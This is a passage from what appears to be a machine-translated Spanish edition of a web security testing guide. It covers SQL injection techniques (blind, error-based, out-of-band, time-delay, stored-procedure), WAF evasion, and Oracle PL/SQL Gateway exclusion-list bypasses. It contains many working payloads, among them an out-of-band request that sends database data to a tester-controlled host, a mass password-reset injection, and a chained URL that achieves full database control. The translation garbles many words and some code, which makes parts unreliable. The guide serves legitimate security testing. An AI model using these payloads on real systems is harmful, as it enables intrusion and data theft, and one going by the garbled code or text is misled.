el resultado del examen.
En el anterior discusión , nosotros no lo he hecho repartido con el problema de determinando la

terminación condición para afuera pruebas , es decir,
cuando nosotros debería terminar la inferencia procedimiento . unas técnicas para hacer esto usa
uno característica de la SUBCADENA
función y la función LONGITUD . Cuando la prueba compara la corriente personaje con el código
ASCII 0 (es decir, el valor
null ) y la prueba devuelve el valor verdadero, entonces cualquiera hemos terminado con la
inferencia procedimiento ( nosotros tener escaneó el
entero cadena ), o el valor nosotros tener analizado contiene el nulo personaje .
Nosotros voluntad inserte lo siguiente valor para el campo Identificación :
$Id=1' AND LENGTH( nombre de usuario )=N AND '1' = '1
donde n es el numero de caracteres eso nosotros tener analizado hasta ahora no contando el nulo
valor ). La consulta será :
SELECCIONE campo1, campo2, campo3 DE Usuarios DONDE Id='1' Y LONGITUD ( nombre de

usuario )=N Y '1' = '1'
La consulta devoluciones ya sea verdadero o falso. Si nosotros obtener verdadero, entonces

nosotros tener completado la inferencia y, por lo tanto , saber
el valor del parámetro . Si nosotros obtener falso, esto medio que el nulo personaje es presente en
el valor del parámetro ,
y nosotros debe continuar analizar el siguiente parámetro hasta nosotros encontrar otro nulo
valor .
La inyección SQL ciega ataque necesita un alto volumen de consultas . el probador puede
necesidad un automático herramienta a explotar el
vulnerabilidad .
Basado en errores Explotación Técnica
Un error basado explotación técnica es útil cuando el probador para alguno razón no poder
explotar la inyección SQL
vulnerabilidad usando otro técnica como por ejemplo UNIÓN. El error basado técnica consiste en
forzar la base de datos a
llevar a cabo alguno operación en la que el resultado será un error . El punto aquí es tratar de
extracto algunos datos de la
base de datos y mostrarla en el mensaje de error . Este explotación La técnica puede ser diferente
de DBMS a DBMS ( verifique
específico del DBMS sección ).
el malicioso pedido sería ( por ejemplo , Oracle 10g):
http://www.example.com/product.php?id=10||UTL_INADDR.GET_HOST_NAME( ( SELECCIONAR
usuario DE DUAL) )--
En esto ejemplo , el probador es concatenando el valor 10 con el resultado de la función
UTL_INADDR.GET_HOST_ NAME. Este
función de oráculo tratará de devolver el nombre de host del parámetro aprobado a eso , que es
otro consulta , el nombre del usuario .
Cuando la base de datos busca un nombre de host con el usuario base de datos nombralo
voluntad fallar y regresar un mensaje de error como :
ORA-292257: host SCOTT desconocido
Entonces el probador puede manipular el parámetro. aprobado a la función GET_HOST_ NAME( ) y

el resultado se mostrará en
el mensaje de error .
Afuera de explotación de bandas Técnica
Este técnica es muy útil cuando el probador encontrar una inyección SQL ciega situación , en la
que nada es conocido sobre el
resultado de un operación . La técnica consiste del uso de funciones DBMS a llevar a cabo un
afuera de conexión de banda
242
y entregar los resultados de lo inyectado consulta como parte de la solicitud al servidor del
probador . Como el error basado técnicas ,
Cada DBMS tiene su propio funciones . Controlar para sección específica DBMS .
el malicioso pedido sería :
http://www.example.com/product.php?id=10||UTL_HTTP.request( 'testerserver.com:80'||
(SELECCIONAR usuario DE
DOBLE)--
En esto ejemplo , el probador es concatenando el valor 10 con el resultado de la función UTL_

HTTP.solicitud . este oráculo
función tratará de conectar a testerserver y realizar una solicitud HTTP GET que contiene el
retorno de la consulta
SELECCIONE usuario DE DUAL. El evaluador puede configurar un servidor web ( por ejemplo ,
Apache) o utilizar Netcat. herramienta :
/home/ probador / nc – nLp 80
OBTENER /SCOTT HTTP/1.1
Anfitrión: testerserver.com
Conexión : cerrar
Tiempo de retardo Explotación Técnica
El retraso del tiempo explotación técnica es muy útil cuando el probador encontrar una inyección
SQL ciega situación , en la que
nada es conocido sobre el resultado de un operación . Este técnica consiste en enviar un inyectado
consulta y en caso de que
condicional es cierto, el probador puede controlar el tiempo necesario a para que el servidor
responder . Si allá es un retraso , el probador puede
asumir el resultado del condicional consulta es verdad. Este explotación La técnica puede ser
diferente de DBMS a DBMS.
( verifique DBMS específico sección ).
el malicioso pedido sería ( por ejemplo , MySql 5.x):
http://www.example.com/product.php?id=10 AND IF( versión () como '5%', dormir (10), 'falso'))--
En esto ejemplo el probador es comprobación si el MySQL versión es 5.x o no , haciendo que el

servidor retrasar la respuesta por
10 segundos . El evaluador puede aumentar el tiempo de demora y monitorear las respuestas. el

probador también no necesidad a esperar para
la respuesta. A veces puede establecer un alto valor ( por ejemplo , 100) y cancelar la solicitud
después de algunos segundos .
almacenado Procedimiento Inyección
Cuando usando SQL dinámico dentro de un almacenado procedimiento , la solicitud debe

adecuadamente desinfectar la entrada del usuario para eliminar
el riesgo de código inyección . Si no desinfectado , el usuario podría ingresar SQL malicioso que
será ejecutado dentro de lo almacenado
procedimiento .
Considere el siguiente SQL Server almacenado Procedimiento :
243
Crear procedimiento usuario_login @nombre de usuario varchar ( 20), @passwd varchar (20)
Como
Declarar @sqlstring varchar ( 250)
Establecer @sqlstring = '
Seleccione 1 de los usuarios
Dónde nombre de usuario = ' + @nombre de usuario + ' y contraseña = ' + @contraseña
ejecutivo (@sqlstring)
Ir
del usuario :
cualquier nombre de usuario o 1=1'
cualquier contraseña
Este procedimiento hace no desinfectar la entrada, por lo tanto permitiendo el regreso valor para
mostrar un existente registro con estos
parámetros .
Este ejemplo puede parecer improbable pendiente al uso de SQL dinámico para iniciar sesión
como usuario , pero considerar una dinámica informar
consulta donde el usuario selecciona las columnas a vista . El usuario podría insertar malicioso
código en este escenario y
comprometer los datos.
Considere el siguiente SQL Server almacenado Procedimiento :
Crear
procedimiento get_report @columnamelist varchar ( 7900)
Como
Declarar @sqlstring varchar ( 8000)

Establecer @sqlstring = '
Seleccionar ' + @columnamelist + ' de ReportTable '
ejecutivo (@sqlstring)
Ir
del usuario :
1 de usuarios ; actualizar los usuarios establecen contraseña = ' contraseña '; seleccionar *
Este voluntad dar como resultado que el informe se ejecute y todo contraseñas de los usuarios ser
actualizado .
Automatizado Explotación
Mayoría de la situación y las técnicas presentado aquí se puede realizar de forma automatizada
forma usando alguno herramientas . En esto
artículo que el evaluador puede encontrar información cómo a llevar a cabo un automatizado
revisión de cuentas usando Mapa SQL
Inyección SQL Firma Evasión Técnicas
Se utilizan las técnicas para eludir defensas como los firewalls de aplicaciones web ( WAF ) o
intrusión prevención sistemas
( IPS ). También referirse a

https://owasp.org/www-community/attacks/SQL_Injection_Bypassing_WAF
Espacio en blanco
Goteante espacio o añadiendo espacios eso no Afecta la declaración SQL . Para ejemplo
o 'a'='a'
o 'a' = 'a'
244
Añadiendo especial personaje como nueva línea o pestaña eso no cambiar la declaración SQL
ejecución . Para ejemplo ,
'una'=
'a'
Bytes nulos
Utilice el byte nulo (%00) antes de cualquier caracteres que el filtro es bloqueando .
Para Por ejemplo , si el atacante puede inyecta el siguiente SQL
'UNION SELECCIONA contraseña DE Usuarios DONDE nombre de usuario =' admin '--
a agregar Los bytes nulos serán
%00' UNION SELECCIONAR contraseña DE Usuarios DONDE nombre de usuario =' admin '--
Comentarios SQL
Agregar SQL en línea los comentarios también pueden ayuda a la declaración SQL para ser válido y
evitar la inyección SQL filtrar . Llevar este
Inyección SQL como ejemplo .
'UNION SELECCIONA contraseña DE Usuarios DONDE nombre =' admin '--
Agregar SQL en línea comentarios será .
'/**/UNION/**/SELECT/**/contraseña/**/FROM/**/Users/**/WHERE/**/name/**/LIKE/
**/'admin'--
'/**/UNI/**/ON/**/SE/**/LECT/**/contraseña/**/FROM/**/Usuarios/**/WHE/**/RE/**/
nombre/**/ME GUSTA/**/'admin'--
Codificación de URL
Utilice la codificación de URL en línea a codificar la declaración SQL
'UNION SELECCIONA contraseña DE Usuarios DONDE nombre =' admin '--
La codificación de URL de la inyección SQL declaración será
%27%20UNION%20SELECT%20contraseña%20FROM%20Users%20WHERE%20nombre%3D
%27admin%27--
Personaje Codificación
Se puede utilizar la función Char ( ). a reemplace el carácter inglés . Para Por ejemplo , char
( 114,111,111,116) significa raíz
'UNION SELECCIONA contraseña DE Usuarios DONDE nombre =' raíz '--
Para aplicar Char ( ) , la inyección SQL declaración será
' UNION SELECCIONA contraseña DE Usuarios DONDE nombre = char ( 114,111,111,116)--
Cadena Concatenación
Concatenación rompe las palabras clave SQL y evade los filtros . Concatenación la sintaxis varía
según en base de datos motor .
Tome el motor MS SQL como ejemplo
seleccione 1
declaración SQL simple se puede cambiar como se muestra a continuación por usando
concatenación
EJECUTIVO( 'SEL' + 'ECT 1')
245
Maleficio Codificación
Maleficio codificación La técnica utiliza codificación hexadecimal. a reemplazar la declaración SQL

original carbón . Para ejemplo , lata de raíz
ser representado como 726F6F74
Seleccionar usuario de usuarios dónde nombre = ' raíz '
declaración SQL por usando el valor HEX será :
Seleccionar usuario de usuarios dónde nombre = 726F6F74
Seleccionar usuario de usuarios dónde nombre = unhex ('726F6F74')
Declarar variables
Declarar la inyección SQL declaración en variable y ejecutar él .
Para ejemplo , inyección SQL declaración abajo
Unión Seleccionar contraseña
Definir la declaración SQL en la variable SQLivar
; declarar @SQLivar nvarchar ( 80); set @myvar = N'UNI' + N'ON' + N' SELECT' + N'contraseña ');
EJECUTIVO(@SQLivar)
Expresión alternativa de ' o 1 = 1'
O ' SQLi ' = ' SQL'+'i '
O ' SQLi ' & gt ; 'S'
o 20 & gt ; 1
O 2 entre 3 y 1
O ' SQLi ' = N'SQLi '
1y1=1
1 || 1 = 1
1 && 1 = 1
Remediación
Para proteger la aplicación de la inyección SQL vulnerabilidades , consulte a la inyección SQL

Prevención Hoja de referencia .
Para proteger el servidor SQL, consulte a la hoja de referencia de seguridad de la base de datos .
Para validación de entrada genérica seguridad , consulte a la validación de entrada Hoja de

referencia .
Herramientas
Inyección SQL Pelusa Cuerdas (de wfuzz herramienta ) - Fuzzdb
herramientassqlbf
Bernardo Damele AG: sqlmap , inyección automática de SQL herramienta
muhaimin Dzulfakar : MySqloit , MySql Inyección tomar el control herramienta
Referencias
Top 10 2017-A1-Inyección
Inyección SQL
246
Tecnología específico Páginas de la guía de pruebas tener estado creado para el siguiente DBMS :
Oráculo
mysql
servidor SQL
PostgreSQL
Acceso MS
No SQL
ORM
Lado del cliente
Libros blancos
Víctor Chapela: “ Inyección SQL Avanzada ”
Chris Anley : " Inyección SQL más avanzada "
David Litchfield : “ Minería de datos con inyección e inferencia SQL "
Imperva : “ Inyección SQL ciega ”

Ferruh Mavituna : “ Inyección SQL Engañar Hoja "
Kevin Spett de SPI Dynamics: " Inyección SQL "
Kevin Spett de SPI Dynamics: “ Inyección SQL ciega ”
“ZeQ3uL” ( Prathan Phongthiproek ) y “ Suphot Boonchamnan ”: “ Más allá SQLi : ofuscar y omitir”
adí Kaploun y Eliran Goshen, la amenaza del punto de control Inteligencia e investigación Equipo :
“La última inyección SQL
Tendencias ”
Documentación sobre inyección SQL Vulnerabilidades en productos
Anatomía de la inyección SQL en Drupal base de datos comentario filtración sistema SA-CORE-
2015-003
247
Pruebas para oráculo
Resumen
Las aplicaciones PL/SQL basadas en web están habilitadas por la puerta de enlace PL/SQL, que es
es el componente eso traduce web
peticiones en base de datos consultas . Oracle ha desarrollado una serie de implementaciones de

software , que van desde las primeras
oyente web producto al módulo Apache mod_plsql al servidor web de la base de datos XML (XDB).
Todo tener su propio
peculiaridades y problemas , cada uno de cual será completamente investigado en este capítulo .
Productos que utilizan la puerta de enlace PL/SQL
incluyen , pero no son limitado a , Oracle HTTP Server, eBusiness Suite, Portal, HTMLDB, WebDB y
Oracle
de aplicaciones .
Cómo Probar
Cómo funciona la puerta de enlace PL/SQL
Básicamente, la puerta de enlace PL/SQL simplemente actúa como un servidor proxy tomando la
solicitud web del usuario y pasa él en hacia
servidor de base de datos donde él es ejecutado .
1. El servidor web acepta una solicitud de un cliente web y determina si él debe ser procesado por
el PL/SQL
Puerta.
2. La puerta de enlace PL/SQL procesa la solicitud. por extrayendo lo solicitado paquete nombre ,
procedimiento y variables.
3. El solicitado El paquete y el procedimiento están envueltos en un bloque de PL/SQL anónimo y

enviado a la base de datos
servidor.
4. El servidor de la base de datos ejecuta el procedimiento y envía los resultados al Gateway como
HTML.
5. La puerta de entrada envía la respuesta, a través del servidor web, al cliente .
Comprensión este punto es importante - el código PL/SQL hace no existir en el servidor web sino
más bien en la base de datos
servidor. Este medio eso cualquier debilidades en la puerta de enlace PL/SQL o cualquier
debilidades en la aplicación PL/SQL , cuando
explotado , dar un agresor directo acceso al servidor de la base de datos ; sin cantidad de
cortafuegos prevenir este .
URL para aplicaciones web PL/SQL normalmente son fácilmente reconocible y generalmente
comenzar con lo siguiente ( xyz puede ser
cualquier cadena y representa un descriptor de acceso a la base de datos , que tú voluntad

aprender más acerca de más tarde ):
http://www.ejemplo.com/pls/xyz
http://www.ejemplo.com/xyz/owa
http://www.example.com/xyz/plsql
Mientras que el segundo y el tercero de estos ejemplos representar URL de más antiguas
versiones del Gateway PL/SQL, el primero es
de más reciente Versiones que se ejecutan en Apache. En el archivo de configuración de Apache

plsql.conf , / pls es el valor predeterminado, especificado
como ubicación con el módulo PLS como controlador . La locación necesidad Sin embargo , no
será/ por favor . La ausencia de un archivo
extensión en una URL podría indicar la presencia de la puerta de enlace Oracle PL/SQL. Considere
la siguiente URL:
http://www.server.com/aaa/bbb/xxxxx.yyyyy
Si xxxxx.yyyyy eran reemplazado con algo a lo largo de las lineas de ebank.home , store.welcome ,
auth.login o
libros.buscar , entonces hay una bastante gran posibilidad de que la puerta de enlace PL/SQL esté
ser usado . Él es también posible a
preceder a lo solicitado paquete y procedimiento con el nombre del usuario eso posee eso - es
decir, el esquema - en este caso el
usuario es usuario web :
http://www.server.com/pls/xyz/webuser.pkg.proc
En esta URL, xyz es el descriptor de acceso a la base de datos , o DAD. Un papá especifica
información sobre el servidor de base de datos
que la puerta de enlace PL/SQL pueda conectarse . Él contiene información como el TNS connect
cadena , el ID de usuario y
248
contraseña , autenticación métodos , etcétera . Estos Los DAD se especifican en el archivo de

configuración de Apache dads.conf
en más reciente versiones o el archivo wdbsvr.app en versiones anteriores versiones . Algunos

papás predeterminados Incluya lo siguiente :
SIMPLIDAD
HTMLDB
ORASO
SSODAD
PORTAL
PORTAL 2
PORTAL30
PORTAL30_SSO
PRUEBA
PAPÁ
APLICACIÓN
EN LÍNEA
DB
OWA
Determinando si la puerta de enlace PL/SQL se está ejecutando

Cuando ejecutando un evaluación contra un servidor, es importante primero a saber qué
tecnología estás de hecho relación comercial
con . Si tú no ya saber , por Por ejemplo , en una evaluación de caja negra . escenario , entonces el
primero cosa tú necesidad hacer es
trabajar este afuera . Reconocer una aplicación PL/SQL basada en web es bonito fácil . Primero ,
allí es el formato de la URL y qué
parece que se discutió arriba . Más allá de eso hay un conjunto de pruebas simples que se puede
realizar para probar la existencia
de la puerta de enlace PL/SQL.
Encabezados de respuesta del servidor
Los encabezados de respuesta del servidor web son una buena indicador en cuanto a si el servidor
está ejecutando la puerta de enlace PL/SQL. El
La mesa debajo liza alguno de los encabezados de respuesta típicos del servidor :
Servidor-de-aplicaciones-Oracle-10g
Servidor-de-aplicaciones-Oracle-10g/10.1.2.0.0 Servidor-HTTP-Oracle
Servidor-de-aplicaciones-Oracle-10g/9.0.4.1.0 Servidor-HTTP-Oracle
Oracle-Application-Server-10g OracleAS-Web-Cache-10g/9.0.4.2.0 (N)
Servidor-de-aplicaciones-Oracle-10g/9.0.4.0.0
Servidor HTTP Oracle alimentado por apache
Servidor HTTP Oracle alimentado por Apache/1.3.19 (Unix) mod_plsql /3.0.9. 8.3a
Servidor HTTP Oracle alimentado por Apache/1.3.19 (Unix) mod_plsql /3.0.9.8.3d
Servidor HTTP Oracle alimentado por Apache/1.3.12 (Unix) mod_plsql /3.0.9.8.5e
Servidor HTTP Oracle alimentado por Apache/1.3.12 (Win32) mod_plsql /3.0.9.8.5e
Servidor HTTP Oracle alimentado por Apache/1.3.19 (Win32) mod_plsql /3.0.9.8.3c
Servidor HTTP Oracle alimentado por Apache/1.3.22 (Unix) mod_plsql /3.0.9.8.3b
Servidor HTTP Oracle alimentado por Apache/1.3.22 (Unix) mod_plsql /9.0.2.0.0
Oracle_Web_Listener /4.0.7.1.0Edición empresarial
Oracle_Web_Listener /4.0.8.2Edición empresarial
Oracle_Web_Listener /4.0.8.1.0Edición empresarial
Oracle_Web_listener3.0.2.0.0/2.14FC1
Oracle9iAS/9.0.2 Servidor HTTP de Oracle

Oracle9iAS/9.0.3.1 Servidor HTTP de Oracle
La prueba NULA
En PL/SQL, nulo es perfectamente aceptable expresión :
SQL> COMENZAR
NULO;
FIN;
Procedimiento PL/SQL exitosamente completado .
249
Podemos usar esto para probar si el servidor está ejecutando la puerta de enlace PL/SQL.
Simplemente tomar el DAD y agregar NULO , entonces
adjuntar NOSUPROC:
http://www.example.com/pls/dad/null
http://www.example.com/pls/dad/nosuchproc
Si el servidor responde con una respuesta 200 OK para la primera y una 404 No Encontró para el
segundo entonces él indica eso
el servidor está ejecutando la puerta de enlace PL/SQL.
Conocido Acceso al paquete
En más viejo versiones de la puerta de enlace PL/SQL , es posible a directamente acceder a los
paquetes eso desde la Web PL/SQL
Kit de herramientas como los paquetes OWA y HTP . Uno de estos paquetes es el paquete
OWA_UTIL , que Bueno hablar
sobre más tarde en . Este paquete contiene un procedimiento llamado FIRMA y simplemente
genera en HTML un PL/SQL
firma . De este modo solicitando
http://www.example.com/pls/dad/owa_util.signature
devuelve el siguiente resultado en la página web
" Esta página fue producido por el kit de herramientas web PL/SQL a tiempo"
" Esta página fue producido por el cartucho PL/SQL a tiempo"

Si tú no conseguir esta respuesta pero una respuesta 403 Prohibida entonces puedes inferir que la
puerta de enlace PL/SQL se está ejecutando.
Este es la respuesta que tu debería entrar más tarde versiones o parcheado sistemas .
Accediendo Paquetes PL/SQL arbitrarios en la base de datos
Él es posible a explotar vulnerabilidades en los paquetes PL/SQL que estan instalados por defecto
en el servidor de base de datos . Cómo
tu hiciste esto depende en la versión de la puerta de enlace PL/SQL. En antes versiones de la

puerta de enlace PL/SQL, hay era
nada detener un atacante acceda un paquete PL/SQL arbitrario en el servidor de base de datos .
Nosotros mencionó el
Paquete OWA_UTIL más temprano . Esto se puede utilizar para ejecutar consultas SQL arbitrarias :
http://www.example.com/pls/dad/OWA_UTIL.CELLSPRINT?
P_THEQUERY=SELECCIONAR+NOMBRE DE USUARIO+DE+TODOS_USUARIOS
Ataques de secuencias de comandos entre sitios podría ser lanzado a través del paquete HTP :
http://www.example.com/pls/dad/HTP.PRINT?CBUF=<script>alert('XSS ')< /script>
Claramente , esto es peligroso , por lo que Oracle introdujo una exclusión PLSQL lista a prevenir
directo acceso a semejante peligroso
procedimientos . Prohibido elementos incluir cualquier pedido a partir de con SYS.* , cualquiera
pedido a partir de con DBMS_* , cualquiera pedido con
HTP.* o OWA*. Él es posible para evitar la exclusión lista sin embargo . Es más, la exclusión lista
hace no prevenir
acceso a paquetes en los esquemas CTXSYS y MDSYS o otros , entonces es posible a explotar
defectos en estos paquetes :
http://www.example.com/pls/dad/CXTSYS.DRILOAD.VALIDATE_STMT?
SQLSTMT=SELECT+1+FROM+DUAL
Este voluntad devolver una página HTML en blanco con una respuesta 200 OK si el servidor de la
base de datos está todavía vulnerable a este defecto (CVE2006-0265)
Prueba de la puerta de enlace PL/SQL para Defectos
A lo largo de los años , Oracle PL/SQL Gateway ha sufrido una serie de de defectos , incluyendo
acceso a administración paginas
(CVE-2002-0561), desbordamientos de búfer (CVE-2002-0559), directorio errores transversales y

vulnerabilidades eso permitir atacantes
para evitar la exclusión Lista y listo en a acceder y ejecutar paquetes PL/SQL arbitrarios en el
servidor de bases de datos .
Omitir la exclusión de PL/SQL Lista
250
Él es increíble cómo muchas veces Oracle ha intentado a arreglar defectos eso permitir atacantes
para evitar la exclusión lista . Cada
parche que Oracle ha producido ha sido víctima a una nueva técnica de bypass . La historia de este
Lo siento historia
Evitando la exclusión Lista - Método 1
Cuando Oracle primero introdujo la exclusión de PL/SQL Lista a prevenir atacantes accedan
paquetes PL/SQL arbitrarios ,
él podría ser trivialmente omitido por precedendo al nombre del esquema / paquete con un
maleficio codificado nueva línea personaje o
espacio o pestaña :
http://www.example.com/pls/dad/%0ASYS.PACKAGE.PROC
http://www.example.com/pls/dad/%20SYS.PACKAGE.PROC
http://www.example.com/pls/dad/%09SYS.PACKAGE.PROC
Más tarde versiones del Gateway permitido atacantes para evitar la exclusión lista por precedendo
al nombre del
esquema / paquete con una etiqueta . En PL/SQL una etiqueta puntos a una línea de código que se
puede saltar a usando el IR A
declaración y toma lo siguiente formulario : <<NOMBRE>>
http://www.example.com/pls/dad/<<LBL>>SYS.PACKAGE.PROC
Simplemente colocando el nombre del esquema / paquete en doble citas podría permitir un
agresor para evitar la exclusión lista .
Tenga en cuenta que este voluntad no trabajar en Oracle Application Server 10g ya que convierte
el usuario pedido a minúscula antes
enviando él al servidor de base de datos y un literal de comillas distingue entre mayúsculas y

minúsculas; por lo tanto, SYS y sys no son lo mismo y
peticiones para despues voluntad resulta en un 404 No Encontró . En más temprano versiones
aunque lo siguiente puede evitar la exclusión
lista :
http://www.example.com/pls/dad/"SYS".PACKAGE.PROC
Dependiente dependiendo del juego de caracteres en uso en el servidor web y en el servidor de

base de datos , algunos los personajes son
traducido . Así , dependiendo según los conjuntos de caracteres en uso, el carácter ÿ ( 0 xFF )
podría convertirse a una Y en el
servidor de base de datos . Otro personaje eso es a menudo convertido a un La Y mayúscula es el

carácter Macron : 0 xAF. Este
puede permitir un agresor para evitar la exclusión lista :
http://www.example.com/pls/dad/S%FFS.PACKAGE.PROC http://www.example.com/pls/dad/S
%AFS.PACKAGE.PROC
Alguno versiones del Gateway PL/SQL permiten la exclusión lista ser pasado por alto con una barra
invertida - 0x5 C :
http://www.example.com/pls/dad/%5CSYS.PACKAGE.PROC
Este es lo mas complejo método de evitando la exclusión lista y es lo mas recientemente

parcheado método . Si nosotros eran a
solicitar lo siguiente
http://www.example.com/pls/dad/foo.bar?xyz=123
el servidor de aplicaciones ejecute lo siguiente en el servidor de la base de datos :
declarar
rc __ número ;
hora_inicio __ entero_binario ;
lista_simple __ owa_util.vc_arr ;
lista_compleja __ owa_util.vc_arr ;
251
comenzar
hora_inicio _ _ : = dbms_utility.get_time ;
owa.init _cgi_env (: n__,:nm__,:v __);
htp.HTBUF _LEN := 255;
nulo ;
nulo ;
lista_simple _ _( 1) := ' sys .%';
lista_simple _ _( 2) := ' dbms \_%';
lista_simple _ _( 3) := ' utl \_%';
lista_simple _ _( 4) := ' owa \_%';
lista_simple _ _( 5) := ' owa .%';
lista_simple _ _( 6) := ' htp .%';
lista_simple _ _( 7) := ' htf .%';
si (( owa_ match.match _pattern (' foo.bar ', lista_simple __, lista_compleja __, verdadero)))
entonces
rc _ _ : = 2;
demás
nulo ;
orasso.wpg_ session.init ();
foo.bar ( XYZ=>:XYZ);
si ( wpg_docload.is_file_download ) entonces
rc _ _ : = 1;
wpg_docload.get_download_file (: doc_info );
orasso.wpg_ session.deinit ();
nulo ;
nulo ;
comprometerse ;
demás
rc _ _ : = 0;
orasso.wpg_ session.deinit ();
nulo ;
nulo ;
comprometerse ;
owa.get_page (:data_ _,: ndata __);
fin si ;
fin si ;
: rc __ : = rc __;
: db_proc_time _ _ : = dbms_utility.get_time — start_time __;
fin ;
Aviso líneas 19 y 24. En la línea 19, el usuario pedido es comprobado contra una lista de cadenas "
malas " conocidas , es decir, la exclusión
lista . si lo solicitado El paquete y el procedimiento no contener malo cadenas , entonces el

procedimiento es ejecutado en la línea 24. El
parámetro XYZ es pasado como una variable de enlace .
Si nosotros entonces solicita lo siguiente :
http://server.example.com/pls/dad/INJECT'POINT
el siguiente PL/SQL es ejecutado :
..
lista_simple _ _( 7) := ' htf .%';
if (( owa_ match.match _pattern (' inject'point ', lista_simple __ lista_compleja __, verdadero)))
entonces
rc _ _ : = 2;
demás
nulo ;
punto de inyección ;
..
Este genera un error en el registro de errores: “PLS-00103: Encontré el símbolo 'PUNTO' cuando
esperando uno del
siguiente . . .” Qué nosotros tener aquí está lejos a inyectar SQL arbitrario . Esto puede ser
explotado para evitar la exclusión lista .
Primero , el atacante necesidades a encontrar un procedimiento PL/SQL eso no toma parámetros y
no coincide con nada en el
exclusión lista . Hay una buena número de paquetes predeterminados que coincida con esto
criterio para ejemplo :
252
JAVA_AUTONOMOUS_TRANSACTION.PUSH
XMLGEN.USELOWERCASETAGNAMES
PORTAL.WWV_HTP.CENTRECLOSE
ORASSO.INICIO
WWC_VERSION.GET_HTTP_DATABASE_INFO
Un agresor deberías elegir uno de estos funciones eso es de hecho disponible en el sistema de
destino (es decir, devuelve un 200 OK
cuando solicitado ). Como prueba, un el atacante puede solicitar
http://server.example.com/pls/dad/orasso.home?FOO=BAR
el servidor debe devolver un archivo 404 no Se encontró respuesta porque orasso.home

procedimiento hace no requerir
parámetros y uno ha sido suministrado . Sin embargo , antes de que el 404 sea devuelto , el
siguiente PL/SQL es ejecutado :
..
..
si (( owa_ match.match _pattern (' orasso.home ', lista_simple __, lista_compleja __, verdadero)))
entonces
rc _ _ : = 2;
demás
nulo ;
orasso.home (FOO=>:FOO);
..
..
Note la presencia de FOO en el atacante consulta cadena . Los atacantes pueden abusar de esto.
para ejecutar SQL arbitrario . Primero ellos necesidad
a cerrar los corchetes :
http://server.example.com/pls/dad/orasso.home?);--=BAR
Este da como resultado el siguiente PL/SQL ejecutado :
..
orasso.home ();--=>:);--);
..
Tenga en cuenta que todo después del doblete menos ( -- ) es tratado como un comentario . Este
pedido causará un servidor interno
error porque uno de las variables de enlace ya no es usado , por lo que el atacante necesidades a
agregar de vuelta. Como lo sucede , es este
vincular la variable que es la llave para ejecutar PL/SQL arbitrario . Por el momento , sólo pueden
usar HTP.PRINT para imprimir BARRA,
y agregue lo necesario vincular variable como: 1:
http://servidor.ejemplo.com/pls/dad/orasso.home?);HTP.PRINT(:1);--=BAR
Este debería Devuelve un 200 con la palabra "BAR" en el HTML. Que esta pasando aqui es eso todo
después de los iguales
signo - BAR en este caso - son los datos insertados en la variable de enlace . usando lo mismo
técnica es posible a también ganar
acceso a owa_ util.cellsprint de nuevo :
http://www.example.com/pls/dad/orasso.home?);OWA_UTIL.CELLSPRINT(:1);--
=SELECT+USERNAME+FROM+ALL_USERS
Ejecutar SQL arbitrario , incluidas declaraciones DML y DDL , el atacante inserciones un ejecutar
inmediato :1:
http://server.example.com/pls/dad/orasso.home?);execute%20immediate%20:1;--=select
%201%20from%20dual
Tenga en cuenta que el resultado no se mostrará . Esto se puede aprovechar a explotar cualquier
error de inyección PL/SQL que posea por SYS,
de este modo habilitando un agresor a obtener control total del backend servidor de base de
datos . Para Por ejemplo , la siguiente URL
253
acepta ventaja de la inyección SQL fallas en DBMS_EXPORT_EXTENSION
http://www.example.com/pls/dad/orasso.home?);
ejecutar%20inmediato% 20:1;-- =DECLARE%20BUF%20VARCHAR2(2000);%20BEGIN%20
BUF:=
SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('INDEX_NAME','INDEX_SCHEMA','D
BMS_OUTPUT.PUT_
LÍNEA (:p 1); EJECUTAR%20INMEDIATO%20''CREAR%20O%20REPLACE%20
PUBLIC%20SYNONYM%20BREAKABLE%20FOR%20SYS.OWA_UTIL'';
FIN;-- ','SYS',1,'VER',0);END;
evaluando Aplicaciones web PL/SQL personalizadas
Durante seguridad de caja negra evaluaciones , el código de la aplicación PL/SQL personalizada es

no disponible , pero él aún necesidades a
ser evaluado para seguridad vulnerabilidades .
Cada parámetro de entrada debe ser probado para inyección SQL defectos . estos son faciles a
buscar y confirmar . Hallazgo a ellos es como
tan fácil como insertar una comilla simple en el parámetro y comprobando para respuestas de
error ( que incluir 404 no Encontró
errores ). Confirmando la presencia de inyección SQL se puede realizar usando la concatenación

operador .
Para ejemplo , supongamos allá es una aplicación web PL/SQL de librería eso permite usuarios a
buscar para libros por un dado
autor :
http://www.example.com/pls/bookstore/books.search?author=DICKENS
Si este pedido devoluciones libros por Charles Dickens, pero
http://www.example.com/pls/bookstore/books.search?author=DICK'ENS
devoluciones un error o un 404, entonces allá podría ser una inyección SQL defecto . Esto se puede
confirmar por usando la concatenación
operador :
http://www.example.com/pls/bookstore/books.search?author=DICK'||'ENS
Si este pedido devoluciones libros por Charles Dickens, has confirmó la presencia de la inyección
SQL vulnerabilidad .
Herramientas
Orascan (escáner VA de aplicación web Oracle ), NGS SQuirreL (escáner VA Oracle RDBMS)
Referencias
Libros blancos
de aplicaciones Oracle a prueba de piratería (una guía para Asegurar Oracle 9)
Inyección Oracle PL/SQL
254
Pruebas para MySQL
Resumen
Inyección SQL vulnerabilidades ocurrir siempre que la entrada sea utilizado en la construcción de
una consulta SQL sin ser adecuadamente
constreñido o desinfectado . El uso de SQL dinámico (la construcción de consultas SQL por
concatenación de cuerdas ) se abre
la puerta a estos vulnerabilidades . inyección SQL permite un agresor a acceder a los servidores
SQL. Él permite para la ejecución
de código SQL bajo los privilegios del usuario usado a conectar a la base de datos .
El servidor MySQL tiene algunos particularidades para que alguno hazañas necesidad ser
especialmente personalizado para este solicitud . Eso es
el tema de este sección .
Cómo Probar
Cuando una inyección SQL vulnerabilidad es encontrado en un solicitud Respaldados por una base
de datos MySQL , hay un número de
ataques eso podría realizarse dependiente sobre la versión y el usuario de MySQL privilegios en
DBMS.
MySQL viene con al menos cuatro versiones que se utilizan en la producción en todo el mundo ,
3.23.x, 4.0.x, 4.1.x y
5.0.x. Cada La versión tiene un conjunto de características proporcional a versión número .
De la Versión 4.0: UNIÓN
Desde la versión 4.1: Subconsultas
Desde la versión 5.0: almacenado procedimientos , almacenados funciones y la vista llamado

INFORMACIÓN_ESQUEMA
Desde la versión 5.0.2: Desencadenadores
Él debe tenerse en cuenta eso para versiones MySQL antes de 4.0.x, sólo Booleano o basado en el
tiempo Ciego Inyección ataques podría ser
utilizado , desde la subconsulta funcionalidad o declaraciones de la UNIÓN eran no

implementado .
